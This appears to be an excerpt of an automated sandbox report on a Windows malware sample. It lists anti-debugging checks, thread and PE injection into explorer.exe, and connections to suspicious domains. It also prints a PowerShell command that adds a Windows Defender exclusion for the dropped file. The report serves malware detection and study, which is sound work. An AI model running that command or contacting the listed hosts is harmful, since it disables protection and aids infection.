Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243880 mov eax, dword ptr fs:[00000030h]	23_2_6D243880
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3884 mov eax, dword ptr fs:[00000030h]	23_2_6D2C3884
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3884 mov eax, dword ptr fs:[00000030h]	23_2_6D2C3884
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B8E4 mov eax, dword ptr fs:[00000030h]	23_2_6D26B8E4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B8E4 mov eax, dword ptr fs:[00000030h]	23_2_6D26B8E4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440E1 mov eax, dword ptr fs:[00000030h]	23_2_6D2440E1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440E1 mov eax, dword ptr fs:[00000030h]	23_2_6D2440E1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2440E1 mov eax, dword ptr fs:[00000030h]	23_2_6D2440E1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE0E9 mov eax, dword ptr fs:[00000030h]	23_2_6D2FE0E9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE0E9 mov eax, dword ptr fs:[00000030h]	23_2_6D2FE0E9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2458EC mov eax, dword ptr fs:[00000030h]	23_2_6D2458EC
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528FD mov eax, dword ptr fs:[00000030h]	23_2_6D2528FD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528FD mov eax, dword ptr fs:[00000030h]	23_2_6D2528FD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528FD mov eax, dword ptr fs:[00000030h]	23_2_6D2528FD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2470C0 mov eax, dword ptr fs:[00000030h]	23_2_6D2470C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2470C0 mov eax, dword ptr fs:[00000030h]	23_2_6D2470C0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4320 mov eax, dword ptr fs:[00000030h]	23_2_6D2D4320
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FE33D mov eax, dword ptr fs:[00000030h]	23_2_6D2FE33D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30131B mov eax, dword ptr fs:[00000030h]	23_2_6D30131B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A309 mov eax, dword ptr fs:[00000030h]	23_2_6D26A309
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24DB60 mov ecx, dword ptr fs:[00000030h]	23_2_6D24DB60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 mov eax, dword ptr fs:[00000030h]	23_2_6D2D6365
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 mov eax, dword ptr fs:[00000030h]	23_2_6D2D6365
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6365 mov eax, dword ptr fs:[00000030h]	23_2_6D2D6365
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B7A mov eax, dword ptr fs:[00000030h]	23_2_6D273B7A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B7A mov eax, dword ptr fs:[00000030h]	23_2_6D273B7A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F340 mov eax, dword ptr fs:[00000030h]	23_2_6D24F340
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24DB40 mov eax, dword ptr fs:[00000030h]	23_2_6D24DB40
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318B58 mov eax, dword ptr fs:[00000030h]	23_2_6D318B58
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F358 mov eax, dword ptr fs:[00000030h]	23_2_6D24F358
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]	23_2_6D273B5A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]	23_2_6D273B5A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]	23_2_6D273B5A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273B5A mov eax, dword ptr fs:[00000030h]	23_2_6D273B5A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318BB6 mov eax, dword ptr fs:[00000030h]	23_2_6D318BB6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD mov eax, dword ptr fs:[00000030h]	23_2_6D274BAD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD mov eax, dword ptr fs:[00000030h]	23_2_6D274BAD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274BAD mov eax, dword ptr fs:[00000030h]	23_2_6D274BAD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319BBE mov eax, dword ptr fs:[00000030h]	23_2_6D319BBE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301BA8 mov eax, dword ptr fs:[00000030h]	23_2_6D301BA8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov ecx, dword ptr fs:[00000030h]	23_2_6D2EEB8A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov eax, dword ptr fs:[00000030h]	23_2_6D2EEB8A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov eax, dword ptr fs:[00000030h]	23_2_6D2EEB8A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2EEB8A mov eax, dword ptr fs:[00000030h]	23_2_6D2EEB8A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D251B8F mov eax, dword ptr fs:[00000030h]	23_2_6D251B8F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D251B8F mov eax, dword ptr fs:[00000030h]	23_2_6D251B8F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD380 mov ecx, dword ptr fs:[00000030h]	23_2_6D2FD380
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244B94 mov edi, dword ptr fs:[00000030h]	23_2_6D244B94
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F395 mov eax, dword ptr fs:[00000030h]	23_2_6D24F395
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30138A mov eax, dword ptr fs:[00000030h]	23_2_6D30138A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3 mov ecx, dword ptr fs:[00000030h]	23_2_6D2F23E3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3 mov ecx, dword ptr fs:[00000030h]	23_2_6D2F23E3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F23E3 mov eax, dword ptr fs:[00000030h]	23_2_6D2F23E3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241BE9 mov eax, dword ptr fs:[00000030h]	23_2_6D241BE9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26DBE9 mov eax, dword ptr fs:[00000030h]	23_2_6D26DBE9
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253BF4 mov eax, dword ptr fs:[00000030h]	23_2_6D253BF4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253BF4 mov ecx, dword ptr fs:[00000030h]	23_2_6D253BF4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2423F6 mov eax, dword ptr fs:[00000030h]	23_2_6D2423F6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C53CA mov eax, dword ptr fs:[00000030h]	23_2_6D2C53CA
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C53CA mov eax, dword ptr fs:[00000030h]	23_2_6D2C53CA
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244A20 mov eax, dword ptr fs:[00000030h]	23_2_6D244A20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244A20 mov eax, dword ptr fs:[00000030h]	23_2_6D244A20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CEA20 mov eax, dword ptr fs:[00000030h]	23_2_6D2CEA20
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A229 mov eax, dword ptr fs:[00000030h]	23_2_6D26A229
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 mov eax, dword ptr fs:[00000030h]	23_2_6D248239
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 mov eax, dword ptr fs:[00000030h]	23_2_6D248239
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D248239 mov eax, dword ptr fs:[00000030h]	23_2_6D248239
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD208 mov eax, dword ptr fs:[00000030h]	23_2_6D2FD208
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD208 mov eax, dword ptr fs:[00000030h]	23_2_6D2FD208
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D258A0A mov eax, dword ptr fs:[00000030h]	23_2_6D258A0A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov eax, dword ptr fs:[00000030h]	23_2_6D245210
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov ecx, dword ptr fs:[00000030h]	23_2_6D245210
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov eax, dword ptr fs:[00000030h]	23_2_6D245210
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245210 mov eax, dword ptr fs:[00000030h]	23_2_6D245210
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D263A1C mov eax, dword ptr fs:[00000030h]	23_2_6D263A1C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FB260 mov eax, dword ptr fs:[00000030h]	23_2_6D2FB260
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FB260 mov eax, dword ptr fs:[00000030h]	23_2_6D2FB260
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28927A mov eax, dword ptr fs:[00000030h]	23_2_6D28927A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318A62 mov eax, dword ptr fs:[00000030h]	23_2_6D318A62
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242240 mov ecx, dword ptr fs:[00000030h]	23_2_6D242240
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242240 mov eax, dword ptr fs:[00000030h]	23_2_6D242240
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]	23_2_6D249240
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]	23_2_6D249240
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]	23_2_6D249240
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249240 mov eax, dword ptr fs:[00000030h]	23_2_6D249240
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4248 mov eax, dword ptr fs:[00000030h]	23_2_6D2D4248
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D4257 mov eax, dword ptr fs:[00000030h]	23_2_6D2D4257
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]	23_2_6D2452A5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]	23_2_6D2452A5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]	23_2_6D2452A5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]	23_2_6D2452A5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2452A5 mov eax, dword ptr fs:[00000030h]	23_2_6D2452A5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241AA0 mov eax, dword ptr fs:[00000030h]	23_2_6D241AA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275AA0 mov eax, dword ptr fs:[00000030h]	23_2_6D275AA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D275AA0 mov eax, dword ptr fs:[00000030h]	23_2_6D275AA0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25AAB0 mov eax, dword ptr fs:[00000030h]	23_2_6D25AAB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25AAB0 mov eax, dword ptr fs:[00000030h]	23_2_6D25AAB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2712BD mov esi, dword ptr fs:[00000030h]	23_2_6D2712BD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2712BD mov eax, dword ptr fs:[00000030h]	23_2_6D2712BD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2712BD mov eax, dword ptr fs:[00000030h]	23_2_6D2712BD
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DA88 mov eax, dword ptr fs:[00000030h]	23_2_6D27DA88
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DA88 mov eax, dword ptr fs:[00000030h]	23_2_6D27DA88
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D294 mov eax, dword ptr fs:[00000030h]	23_2_6D27D294
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D294 mov eax, dword ptr fs:[00000030h]	23_2_6D27D294
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272AE4 mov eax, dword ptr fs:[00000030h]	23_2_6D272AE4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304AEF mov eax, dword ptr fs:[00000030h]	23_2_6D304AEF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245AC0 mov eax, dword ptr fs:[00000030h]	23_2_6D245AC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245AC0 mov eax, dword ptr fs:[00000030h]	23_2_6D245AC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245AC0 mov eax, dword ptr fs:[00000030h]	23_2_6D245AC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ADD mov eax, dword ptr fs:[00000030h]	23_2_6D318ADD

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Code function: 0_2_0041A050 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041A050

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D276B90 rdtsc

23_2_6D276B90

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\F72D.exe

Code function: 13_1_00402679 LdrLoadDll,

13_1_00402679

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 0_2_0041A050 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0041A050
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 0_2_0041FF10 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_0041FF10

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: nalirou70.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: host-host-file6.com
Source: C:\Windows\explorer.exe	Domain query: hajezey10.top
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou7000.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 610B.exe.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\hrgjvbv	Memory written: C:\Users\user\AppData\Roaming\hrgjvbv base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Memory written: C:\Users\user\AppData\Local\Temp\8039.exe base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\hrgjvbv

Code function: 10_2_02BD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

10_2_02BD0110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Thread created: C:\Windows\explorer.exe EIP: 44C1920	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Thread created: unknown EIP: 4E41920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Thread created: unknown EIP: 44E1920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Thread created: unknown EIP: 4F819C0	Jump to behavior

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force			Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: 82DC.exe.5.dr, Discrepant.Annotations/SchemaAnnotation.cs	Reference to suspicious API methods: ('ComputeState', 'LoadLibrary@kernel32.dll'), ('DisableState', 'GetProcAddress@kernel32')
Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	Reference to suspicious API methods: ('vaLfadLlgO', 'LoadLibrary@kernel32'), ('VtUfgiaft7', 'GetProcAddress@kernel32')
Source: 19.2.59B4.exe.40000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.8.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.12.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.10.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
